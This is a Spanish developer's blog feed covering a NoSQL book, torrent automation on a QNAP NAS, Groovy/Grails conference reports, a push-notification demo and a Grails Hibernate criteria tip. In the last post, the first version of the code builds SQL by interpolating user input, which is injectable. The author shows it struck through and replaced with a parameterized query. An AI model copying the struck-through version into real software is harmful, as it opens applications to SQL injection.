- <b>Riak</b>: Entra dentro de la categoría de clave-valor aunque añade conceptos muy interesantes como un completo interfaz REST y enlaces entre campos de distintas relaciones.</li><br />
- <b>HBase</b>: Es una base de datos orientada a columnas. Aunque inicialmente parece una base de datos relacional tal cual, ya en la introducción nos indican claramente que no es la típica base de datos que utilizaremos para nuestro pequeño catálogo de productos, sino que debemos tener muchos gigabytes o terabytes de datos para aprovecharla realmente. Al estar diseñada para un gran volumen de datos, el escalado es muy fácil de implementar. Otras cosas interesantes son el versionado automático de columnas y la compresión nativa de datos.<br />
- <b>MongoDB</b>: Probablemente sea una de las bases de datos NoSQL más conocidas en la actualidad. El hecho de que sitios como Foursquare estén implementados con MongoDB le ha dado mucha fama. MongoDB encaja en la categoría de bases de datos orientadas a documentos, donde su principal característica es ser <i>schemaless</i>, es decir, no obligar a tener un esquema definido en las colecciones. Los documentos son JSON y entre sus principales características destacan la replicación de los datos y el sharding de grandes colecciones.<br />
- <b>CouchDB</b>: Al igual que MongoDB, CouchDB es una base de datos orientada a documentos JSON y con interfaz REST. Una de sus principales características es que está diseñada para funcionar desde en un teléfono Android, en un pc hasta en un Datacenter.<br />
- <b>Neo4J</b>: Se trata de una base de datos orientada a grafos. Es ideal para modelar tipos de relaciones de amistad, gustos,... Su principal lema es <i>"si puedes dibujarlo como cajas y líneas en una pizarra, entonces puedes almacenarlo en Neo4J"</i>. Me ha impresionado porque es un nuevo paradigma de bases de datos para mí y sirve para cambiar el chip. <br />
- <b>Redis</b>: La base de datos clave-valor por excelencia. Además posee numerosas operaciones para realizar todo tipo de operaciones: rankings ordenados, listas,... <br />
<br />
Para terminar, añadiré que la lectura del libro es amena y cómoda. Cada capítulo está dividido en "3 días" y al final de cada día se incluyen una serie de ejercicios para practicar y afianzar lo aprendido. En mi caso, los ejercicios no los he podido hacer porque me llevarían demasiado tiempo (del que no dispongo). Aún así, estoy contento con lo aprendido a lo largo del libro que me ha servido para conocer otro tipo de bases de datos para utilizar en el futuro si los problemas a resolver lo requieren.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-90167722478639257672013-03-02T15:36:00.000+01:002013-03-02T15:36:38.081+01:00Descargando torrents desde un QNAP (y II)Este artículo continua justo donde acabó <a href="http://lopezivan.blogspot.com.es/2013/01/descargando-torrents-desde-un-qnap-i.html">el anterior</a>. Como comentaba al final del mismo, el principal problema de TV Torrent RSS es la gestión de filtros. Por cada nueva serie que añado en la web <a href="http://showrss.karmorra.info/">Show RSS</a> tengo que entrar en el NAS y añadir el nuevo filtro en el archivo de properties de TvRss.<br />
Por suerte, se trata de un proyecto open source en el que el <a href="https://sourceforge.net/scm/?type=svn&group_id=280335">código fuente</a> se encuentra disponible. Está desarrollado en Java, así que por este lado no tenía ningún problema adicional. <br />
Me puse manos a la obra, lo descargué, empecé a analizarlo y hacer algunas pruebas y lo modifiqué para eliminar toda la funcionalidad de los filtros que no necesitaba. De paso me decidí por aligerar ("bamedizar" que decimos por <a href="http://kaleidos.net/">Kaleidos</a>) el código. Así, bajé de las 22 clases Java iniciales a sólo 7 :-), eliminando el soporte de envío de emails y toda la lógica para poder utilizar los filtros que ya no es necesaria. Además, al no tener que comprobar para cada .torrent todos los filtros para ver si hay que descargarlo o no, la ejecución ahora es mucho más rápida.<br />
También aproveché para añadir la librería <i>log4j</i> ya que el logging se estaba haciendo simplemente con println, eliminé las librerías que no eran necesarias y reorganicé el resto. Finalmente actualicé el archivo <i>ant</i> que se utiliza para la construcción del proyecto.<br />
<br />
El resultado está publicado en mi <a href="https://github.com/lmivan/tvtorrentrss">cuenta de Github</a> junto con las instrucciones para ejecutarlo. Ahora simplemente lanzo un script todos los días por medio del crontab y mi nueva versión de TvRss se descarga todos los archivos incluyendo versiones proper, repacks, en 720p, en calidad normal y todo sin tener que hacer nada adicional.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-37960282797867217672013-01-27T23:58:00.000+01:002013-02-07T08:37:23.174+01:00Ponente en Greach 2013 e impresionesEl pasado viernes 25 de Enero empezó la 2ª Edición de <a href="http://greach.es">Greach</a> que en esta ocasión ha durado dos días. Este año he tenido la suerte de asistir como ponente y dar una charla con el título <a href="http://greach.es/sessions-2013/ivan-lopez-martin-todo-lo-que-me-hubiera-gustado-saber-cuando-empece-a-desarrollar-con-grails">Todo lo que me hubiera gustado saber cuando empecé a desarrollar con Grails</a/>. Al principio estaba muy nervioso pero al final todo salió muy bien. De hecho, mucha gente me comentó después que les había gustado mucho la charla y que habían aprendido unas cuantas cosas. ¡Muchas gracias a todos!<br />
<br />
Respecto al resto de las charlas, mis comentarios:<br />
<b>1.- Keynote Groovy 2.0 update:</b> Cedric Champeau fue el encargado de la Keynote de apertura. En esta ocasión Guillaume Laforge no pudo venir aunque conectamos con él via chat y anunció la publicación de Groovy 2.1.0 en la Keynote. La keynote fue muy parecida a la que vi en diciembre en el <a href="http://lopezivan.blogspot.com.es/2012/12/groovy-grails-exchange-2012-en-londres.html">Grails Exchange de Londres</a>.<br />
<b>2.- Road to Grails 3.0:</b> Graeme Rocher fue el encargado de contarnos la novedades que vendrán en las próximas versiones de Grails.<br />
<b>3.- Hybrid mobile app in minutes, not days:</b> Charla por Fabrice Matrat, Sebastien Blanc y Corinne Krych que crearon en 45 minutos un pequeño clon de Foursquare con el plugin <a href="http://grails.org/plugin/html5-mobile-scaffolding">html5 mobile scaffolding</a>. La charla fue muy interesante y la parodia que hicieron durante la presentación fue muy divertida. "Hello, Mr.very-very-rich man" :-P<br />
<b>4.- Test motherFucker... Test!!!:</b> Mario García nos contó qué plugins utiliza él durante los tests de sus aplicaciones Grails y cual es la aproximación que realiza a la hora de testear la aplicación.<br />
<b>5.- Cómo crear una plataforma de libros electrónicos:</b> Roberto Martin y Alberto Vilches nos contaron su experiencia real en una plataforma de libros electrónicos, los problemas que han ido encontrando y cómo los han superado.<br />
<b>6.- vert.x - Effortless asynchronous application development for the modern web and enterprise:</b> Aunque inicialmente la charla la iba a dar Stuart Williams, al final no pudo asistir y fue su compañero Stéphane Maldini el que la dio. No estuvo mal aunque me esperaba un poco más.<br />
<b>7.- Buscando (y encontrando) la pareja ideal. Taller de desarrollo de aplicaciones Web con Grails 2</b>: Taller para el desarrollo de una aplicación Grails por parte de Fernando Redondo. Aunque muchas cosas ya las sabía, aprendí algún pequeño truco.<br />
<b>8.- A GPars Programming Workshop:</b> Taller de lujo con Russel Winder sobre GPars. Aunque fue un taller la verdad es que no hubo demasiado tiempo para programar.<br />
<b>9.- From big-GORM-centered into a cloud of fast nodes:</b> Jorge Uriarte nos contó cómo han adaptado la plataforma TicketBis desde una "simple" aplicación Grails con tomcat, mysql, terracotta,... a una más moderna con Redis y nodos "ligeros" para poder seguir creciendo y soportando la carga.<br />
<b>10.- Testing the Grails Spring Security Plugins:</b> Interesante charla de Burt Beckwith en la que nos mostraba distintas alternativas para probar Spring Security.<br />
<b>11.- Building a scalable API with Grails:</b> Tanausú Cerdeña nos contó cual fue el proceso de creación y las distintas decisiones de diseño que tomaron en la creación del API de Geosophic.<br />
<br />
Como veis, dos días muy intensos llenos de Groovy/Grails y demás tecnologías.<br />
<br />
No quiero terminar sin dar la enhorabuena a Alberto Vilches por el gran trabajo de estos últimos meses y por arriesgar tanto para dar lo mejor a todo el mundo: Cambio de ubicación a un hotel en pleno centro de Madrid en lugar de en las afueras, dos días de conferencias en lugar de uno, aumento del precio de 10€-20€ a 90€-120€ (si compraba en early-bird o no), comida excelente en el restaurante del hotel,... Creo que ha sido magnífico y todos hemos quedado encantados. ¡Kudos!<br />
<br />
Ah, y finalmente, por si hay algún interesado, las slides de mi charla:<br />
<center><iframe src="http://www.slideshare.net/slideshow/embed_code/16182025" width="512" height="421" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px" allowfullscreen webkitallowfullscreen mozallowfullscreen> </iframe> <div style="margin-bottom:5px"><strong> <a href="http://www.slideshare.net/ilopmar/todo-lo-que-me-hubiera-gustado-saber-cuando-empec-a-desarrollar-con-grails" title="Todo lo que me hubiera gustado saber cuando empecé a desarrollar con grails" target="_blank">Todo lo que me hubiera gustado saber cuando empecé a desarrollar con grails</a> </strong> from <strong><a href="http://www.slideshare.net/ilopmar" target="_blank">Iván López</a></strong> </div></center><br />
ACTUALIZADO: Ya está disponible el video, aunque es una pena que los primeros 2-3 minutos de la presentación no estén.<br />
<center><iframe width="560" height="315" src="http://www.youtube.com/embed/gIim712HEBI" frameborder="0" allowfullscreen></iframe></center>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-30231263749291770512013-01-16T23:56:00.000+01:002013-01-16T23:56:01.560+01:00Descargando torrents desde un QNAP (I)Hace tiempo conté mi estrategia de backup en casa. Tengo montado un servidor debian con un <a href="http://lopezivan.blogspot.com.es/2007/03/raid-1-en-linux.html">raid 1</a> y unos <a href="http://lopezivan.blogspot.com.es/2007/05/rsync-vs-backuppc-vs-link-backup.html">scripts personalizados de rsync</a> para realizar la sincronización y copia de los datos.<br />
<br />
Adicionalmente tenía un portátil un tanto antiguo con ubuntu con el que descargaba series por medio de bittorrent y alguna otra cosa con amule. Hace unos meses decidí que quería mejorar un poco toda esta infraestructura con un NAS. Así, después de mucho mirar compré un <a href="http://www.qnap.com/en/index.php?lang=en&sn=822&c=351&sc=514&t=522&n=3415">Qnap TS-412</a> y un par de discos de 2 TB. Con los dos discos he creado un raid 1 y ahora tengo ahí toda mi información, fotos, series, música,...<br />
<br />
El qnap tiene un linux embebido con mucha funcionalidad y que es fácilmente ampliable y personalizable. Para las descargas utilizo <a href="http://www.transmissionbt.com/">Transmission</a> que se puede instalar desde el gestor de software incluído. Transmission funciona perfectamente pero tiene un pequeño problema, no permite configurar un feed rss desde el que descargar los torrents. Esto es un gran problema para mí porque para descargar mis series favoritas utilizo <a href="http://showrss.karmorra.info/">Show RSS</a>. Una vez registrado en la web eliges tu series de la lista y puedes generar un feed rss personalizado en donde se publicarán automáticamente los torrents de las series según estén disponibles.<br />
<br />
Así que con este problemilla me puse a buscar una solución. Como no soy el único que tiene estos problemas estuve probando distintas alternativas que encontré en diversos foros, pero o no funcionaban correctamente o no me terminaban de convencer. Finalmente encontré <a href="https://sourceforge.net/projects/tvtorrentrss/">TV Torrent RSS Downloader</a> que casi cubre mis necesidades. Es una pequeña aplicación hecha en Java en la que configuras uno o varios feeds rss y unos filtros y descarga los archivos adjuntos. Después de hacer una pruebas en local todo funcionó a la perfección, pero hay había un problema ¿cómo instalo java en el qnap?<br />
<br />
Después de bucear un poco por la web de <strike>Sun</strike> Oracle llegué a la web de descargas del <a href="http://www.oracle.com/technetwork/java/embedded/downloads/javase/index.html">JRE para Linux ARM</a> y tras unas pruebas de ensayo-error descargué la versión correcta para mi arquitectura: <i>ARMv5 Linux – Headless EABI, SoftFP, Little Endian</i>. La instalación es tan sencilla como descomprimir el archivo y configurar el path correctamente y comprobar que el ejecutable funciona:<br />
<pre>$ ./java -version
java version "1.6.0_38"
Java SE <b>Embedded Runtime</b> Environment (build 1.6.0_38-b05, headless)
Java HotSpot(TM) Embedded Client VM (build 20.13-b02, mixed mode)
</pre><br />
Ahora con java instalado es tan sencillo como ejecutar:<br />
<pre>$ java -jar tvrss.jar
</pre><br />
Y los .torrents de cada serie se iran descargando automáticamente al directorio que hayamos especificado en el archivo de configuración. Una vez funcionando las descargas de los .torrents de cada serie, si configuramos la ruta de descarga al directorio <i>watched</i> de transmission, los archivos se añadirán y se pondrán a descargar automáticamente.<br />
<br />
Con todo funcionando podemos configurar un script .sh que se ejecute a la hora que queramos y descargue automáticamente todos los torrents. Por ejemplo:<br />
<br />
<pre>$ cat tvrss.sh
#!/bin/bash
JAVA_HOME=/share/MD0_DATA/software/java/ejre1.6.0_38
APP_DIR=/share/MD0_DATA/software/transmission_scripts/tvrss
LOG_FILE=$APP_DIR/torrents.log
cd /share/MD0_DATA/software/transmission_scripts/tvrss
$JAVA_HOME/bin/java -jar $APP_DIR/tvrss.jar >> $LOG_FILE
</pre><br />
Con esto solucionamos el problema de la descarga de los archivos .torrent y el añadirlos a Transmission, pero como comenté antes, la versión original de TV Torrent tiene un pequeño problema: los filtros. Por cada serie que queramos descargar es necesario añadir un filtro nuevo en el archivo de configuración para que ésta se descargue. Además, si en el feed rss publican una nueva versión, las típicas versiones PROPER o REPACK que corrigen problemas de sincronización o similar, éstas tampoco serán descargadas.<br />
<br />
La solución en el siguiente artículo :-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-33317015472477511682012-12-27T15:12:00.000+01:002012-12-27T15:27:42.405+01:00Pusheame: Notificaciones push al navegadorEsta semana pasada, en <a href="http://kaleidos.net/">Kaleidos</a> hemos celebrado la 3ª Edición de nuestra <a href="http://piweek.es">PiWeek</a>. Aunque en la web viene explicado lo que es, la PiWeek es la <i>Personal Innovation Week</i> y básicamente consiste en que cada 6 meses, "cerramos" una semana para hacer proyectos de innovación. Existen únicamente dos reglas, sólo se permite usar software libre para el desarrollo y al final de la semana hay que hacer una demo funcional.<br />
<br />
En esta ocasión he aprovechado la semana para probar los plugins de grails <a href="http://grails.org/plugin/platform-core">platform-core</a> y <a href="http://grails.org/plugin/events-push">events-push</a> de los que ya hablé en mi anterior artículo sobre la <a href="http://lopezivan.blogspot.com/2012/12/groovy-grails-exchange-2012-en-londres.html">Groovy & Grails eXchange</a>. <br />
<br />
La idea que hay detrás de "notificaciones push" del servidor al cliente es enviar información en tiempo real al navegador justo en el momento en que se obtiene. Normalmente, cuando desde una aplicación web queremos actualizar un contador, número de mensajes,... lo que solemos hacer es preguntar cada cierto tiempo (10-30 segundos) al servidor si hay mensajes nuevos. Esto implica estar constantemente haciendo llamadas al servidor y además tener un pequeño retraso en la obtención de los mensajes. Con el paradigma push es el servidor el que envía los datos al cliente sin que éste tenga que estar preguntando constantemente.<br />
<br />
Mi idea era hacer una pequeña prueba de concepto haciendo push de números aleatorios desde el servidor al cliente. Una vez conseguido, he utilizado el API en tiempo real de Instagram para obtener fotos geolocalizadas e irlas mostrando en un mapa y en un muro.<br />
<br />
El resultado es <b>Pusheame</b>, que se encuentra desplegado en <a href="http://pusheame.cloudfoundry.com">http://pusheame.cloudfoundry.com</a>.<br />
Una vez ahí existen dos páginas de pruebas, <a href="http://pusheame.cloudfoundry.com/map">el mapa</a>, que muestra fotos geoetiquetadas de 28 ciudades de Estado Unidos.<br />
<br />
<center><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3O53ybwV9FibarVT6SnHvaFvKaGp9B0Khi32Rwk6EhDN3r98b1jQx87Zn_V1y3wxPhqRqg9lVReQBxnZwsxehBzpD24Z7fBN0YLe3Dwn0m7kJDp2bejFnDtvES4ArupqxO7Wi/s1600/Pusheame-map.png" imageanchor="1" style=""><img border="0" height="279" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3O53ybwV9FibarVT6SnHvaFvKaGp9B0Khi32Rwk6EhDN3r98b1jQx87Zn_V1y3wxPhqRqg9lVReQBxnZwsxehBzpD24Z7fBN0YLe3Dwn0m7kJDp2bejFnDtvES4ArupqxO7Wi/s400/Pusheame-map.png" /></a><br />
</center><br />
y <a href="http://pusheame.cloudfoundry.com/wall">el muro</a>, que muestra esas mismas fotos en formato muro o album de fotos:<br />
<br />
<center><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVlNvMMcWbmc50yW8b3Vr0F7BphWsUW8TnYiI_4-7WWKC17QkE_3TOW2OQpfQZjG8iRkm_VDUKN8kB-Nhfv7glC2FwMhZOo7UAIpqxuxH5SWCjKbPylxMXpk9ULwUNBDnsP7i1/s1600/Pusheame-wall.png" imageanchor="1" style=""><img border="0" height="301" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVlNvMMcWbmc50yW8b3Vr0F7BphWsUW8TnYiI_4-7WWKC17QkE_3TOW2OQpfQZjG8iRkm_VDUKN8kB-Nhfv7glC2FwMhZOo7UAIpqxuxH5SWCjKbPylxMXpk9ULwUNBDnsP7i1/s400/Pusheame-wall.png" /></a><br />
</center><br />
Lo único que tenéis que hacer es abrir el navegador y esperar a que vayan apareciendo las fotos automáticamente.<br />
<br />
Si no quieres esperar también puedes ver este pequeño vídeo que he hecho.<br />
<br />
<center><iframe src="http://player.vimeo.com/video/56363238?title=0&byline=0&portrait=0" width="500" height="375" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe> <p><a href="http://vimeo.com/56363238">Pusheame: Instagram Real-Time pictures</a> from <a href="http://vimeo.com/ilopmar">Iván López</a> on <a href="http://vimeo.com">Vimeo</a>.</p></center><br />
Como indico en la página, para los curiosos, el código fuente del proyecto se encuentra disponible en mi cuenta de github: <a href="https://github.com/lmivan/pusheame">https://github.com/lmivan/pusheame</a>.<br />
<br />
Si perteneces a una empresa tecnológica y te gustaría participar en la próxima edición de la PiWeek, no dudes en contactar con nosotros.<br />
En la primera edición celebrada en diciembre de 2011 sólo participamos Kaleidos. En la segunda edición de julio de 2012 participaron junto con nosotros Secuoyas y Yaco, y finalmente, en esta tercera edición se han apuntado de nuevo Secuoyas y también Wadobo.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com3tag:blogger.com,1999:blog-12666448.post-44023503215743967132012-12-18T23:45:00.000+01:002012-12-18T23:45:06.445+01:00Groovy & Grails eXchange 2012 en LondresEl pasado jueves y viernes (13 y 14 de diciembre) estuve en el <a href="http://skillsmatter.com/event/groovy-grails/groovy-grails-exchange-2012">Groovy & Grails eXchange 2012</a> en Londres (GGX). Se trata de una de las conferencias más importantes en torno a Grails, Groovy, Griffon,... de Europa.<br />
<br />
Las charlas estaban divididas en dos tracks y en casi todas elegí las de Grails.<br />
<br />
1.- <b>Keynote on Groovy</b>: Guillaume Laforge abrió la keynote contando novedades de la versión 2.0 de Groovy: Un core más modular, uso de invokeDynamic, las nuevas transformaciones para comprobación de errores de compilación... Interesante saber hacia dónde se dirige el lenguaje en las próximas versiones.<br />
<br />
2.- <b>Grails for Hipsters</b>: Espectacular charla de Robbert Fletcher en la que usando Grails, Vertx, Handlebars, Backbone y un montón de tecnologías hacía un clon de Instagram con publicaciones push, ajax,... Realmente instructiva y con el código fuente disponible en github.<br />
<br />
3.- <b>Using Grails Platform Core</b>: Marc Palmer nos contó el nuevo plugin Platform-Core que ha desarrollado junto a Stephane Maldini y que pretende sentar las bases de un nuevo API sobre el que desarrollar nuevos y potentes plugins. Incluye abstracciones de Seguridad, Navigación, UI, y, para mí la parte más interesante, Events.<br />
<br />
4.- <b>Under the hood: Using Spring in Grails</b>: Desde hacía tiempo tenía ganas de asistir a una charla de Burt Beckwith y no me decepcionó. Contó cómo integrar Spring clásico en Grails, Inyección de Dependencias, distintas formas de interactuar y engancharnos al ciclo de vida de los beans,... Muy útil y formativa.<br />
<br />
5.- <b>Theming & UIs with Grails Platform UI</b>: De nuevo Marc Palmer no habló sobre Platform Core, pero está vez centrado en la parte de UI. Las distintas abstracciones, taglibs,... que ha desarrollado para poder hacer interfaces en las que cambiar el diseño sea tan sencillo como descargar e instalar un nuevo tema de manera similar a como se hace con Wordpress.<br />
<br />
6.- <b>Leveraging Social Media in Grails</b>: Para terminar el día, Bobby Warner nos contó los distintos plugins y librerías que existen en la actualidad para integrar nuestras aplicaciones Grails con las distintas redes sociales: Facebook, Twitter, Google+, LinkedIn.<br />
<br />
7.- <b>Grails Keynote</b>: El 2º día comenzó con la Keynote de Grails por parte de su project leader Graeme Rocher. Se centró en las novedades introducidas desde Grails 2.0 y para mi gusto se detuvo demasiado en ellas y no le dio tiempo a entrar en profundidad en lo que se incluirá en las siguiente versiones 2.3 y 3.0<br />
<br />
8.- <b>Debugging Grails Database Performance</b>: Interesante charla de Tom Dunstan sobre un plugin que había desarrollado para mostrar de manera muy visual en cada vista que renderizamos el tiempo total que ha llevado incluyendo el desglose en los distintos servicios, el número de consultas sql que se han realizado, el tiempo de las mismas e incluso la propia consulta. Hay que prestar atención a este plugin porque tiene pinta de ser muy útil durante el desarrollo.<br />
<br />
9.- <b>Groovier testing with Spock</b>: En esta ocasión Robert Fletcher nos mostraba código Java con sus correspondientes tests en Junit e iba explicando de una manera muy sencilla cómo convertir estos tests a Spock y por qué deberíamos usar Spock para probar en lugar del clásico Junit. Por suerte yo ya lo llevo usando desde hace tiempo :-)<br />
<br />
10.- <b>Reactive Grails - Event Oriented Architecture</b>: Para mí la mejor charla de todas. Stephane Maldini explicó la parte de Events de platform-core junto con un par de plugins que había desarrollado y que complementaban al anterior. El mejor sin duda events-push, que sirve para poder recibir en el navegador notificaciones push en tiempo real desde el servidor de una manera muy sencilla. Hizo dos demos a cual más espectacular, una de video en tiempo real y la otra de un juego multijugador.<br />
<br />
11.- <b>Securing Grails Applications</b>: Burt Beckwith comentó los 10 problemas más importantes de seguridad de las aplicaciones web, cómo estos pueden afectar a nuestras aplicaciones grails y cómo prevenirlos. Además contó un nuevo plugin que está desarrollando y que estará disponible junto con la versión 2.3 de Grails.<br />
<br />
12.- <b>Building an ecommerce business with gr8 technologies in Latin America</b>: Domingo Suarez contó su experiencia desarrollando clickonero y cómo evolucionó la plataforma. Es una continuación de la charla que dio en el pasado Spring IO 2012 en Madrid. Muy interesante la peculiar forma en la que han diseñado la nueva arquitectura para poder soportar una gran carga de usuarios.<br />
<br />
Y con esto acabaron las charlas. Hubo sorteo de ebooks de grails pero esta vez no me tocó ninguno.<br />
<br />
La verdad es que ha sido una gran experiencia estar rodeado de dos días de tantos "cracks" del entorno Groovy y Grails. Tengo muchas ideas en el cuaderno y cosas que quiero probar y que haré haciendo poco a poco.<br />
<br />
Si no has podido asistir pero te interesan estos temas, ya están todos <a href="http://skillsmatter.com/go/groovy-grails">los videos de las charlas publicados</a> por lo que no hay excusa para no ir viéndolas poco a poco a ratos.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com1tag:blogger.com,1999:blog-12666448.post-8197091227171354052011-11-13T11:22:00.001+01:002011-11-13T12:27:54.053+01:00Crónica de Greach: Conferencia de GroovyEl pasado viernes 4 de noviembre acudí a <a href="http://greach.es">Greach</a>, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.<br />
<br />
Después del registro y la presentación empezaron las charlas en sí:<br />
<br />
1.- <b>Groovy 1.8 and beyond!</b>: <a href="http://greach.es/ponentes/guillaume-laforge">Guillaume Laforge</a>, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.<br />
2.- <b>Novedades de Grails 2.0</b>: <a href="http://greach.es/ponentes/alvaro-sanchez-mariscal">Álvaro Sánchez-Mariscal</a>, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...<br />
3.- <b>Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras</b>: Bajo este título, <a href="http://greach.es/ponentes/jorge-uriarte">Jorge Uriarte</a> nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.<br />
Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas<br />
4.- <b>Volando con Griffon</b>: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió <a href="http://greach.es/ponentes/andres-almiray">Andrés Almiray</a>, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.<br />
5.- <b>Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails</b>: <a href="http://greach.es/ponentes/dani-latorre">Dani Latorre</a> nos contó una serie de <i>tips</i> generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.<br />
6.- <b>Grails and Cloud Foundry</b>: Después de la parada para la comida, volvimos con <a href="http://greach.es/ponentes/graeme-rocher">Graeme Rocher</a>, lider del proyecto Grails, que nos contó la plataforma <a href="http://www.cloudfoundry.com/">Cloud Foundry</a> para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.<br />
7.- <b>Groovy Code Generation</b>: Esta sin duda fue la charla más espesa de todas. <a href="http://greach.es/ponentes/hamlet-darcy">Hamlet D'Arcy</a> habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.<br />
8.- <b>Creación de plugins en Griffon</b>: <a href="http://greach.es/ponentes/mario-garcia">Mario García</a> nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.<br />
9.- <b>Engrandeciendo Grails con MongoDB</b>: Esta fue una de las charlas que más me gustó. <a href="http://greach.es/ponentes/enrique-medina">Enrique Medina</a> nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.<br />
<br />
Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).<br />
Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.<br />
Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.<br />Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-90318930817473116762011-10-28T23:45:00.002+02:002012-01-07T23:42:49.656+01:00Creando Hibernate Criteria en Grails La situación es la siguiente: Tenemos una aplicación <a href="http://grails.org/">grails</a> en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar <i>ilike</i> para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como <i>Iván</i> y nosotros introducimos <i>Ivan</i>, pues que sencillamente no aparecerá.<br />
Hay varias formas de afrontar el problema incluyendo el <i>full text search</i> con plugins como <a href="http://grails.org/plugin/searchable">searchable</a> o <a href="http://grails.org/plugin/elasticsearch">elasticsearch</a>, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.<br />
En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función <b>unaccent</b> que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:<br />
<pre>select * from user
where unaccent("name") ilike unaccent('%iván%')
</pre>Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,... Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:<br />
<pre>def users = User.createCriteria().list() {
ilike('name', '%' + value + '%')
}
</pre>¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.<br />
Editamos el archivo <i>BootStrap.groovy</i> y añadimos lo siguiente:<br />
<pre>HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue ->
if (!validateSimpleExpression()) {
throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
}
propertyName = calculatePropertyName(propertyName);
propertyValue = calculatePropertyValue(propertyValue);
<strike> def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
return addToCriteria(Restrictions.sqlRestriction(query));</strike>
def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
def value = "%${propertyValue}%"
return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
}
</pre>[ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.<br />
<br />
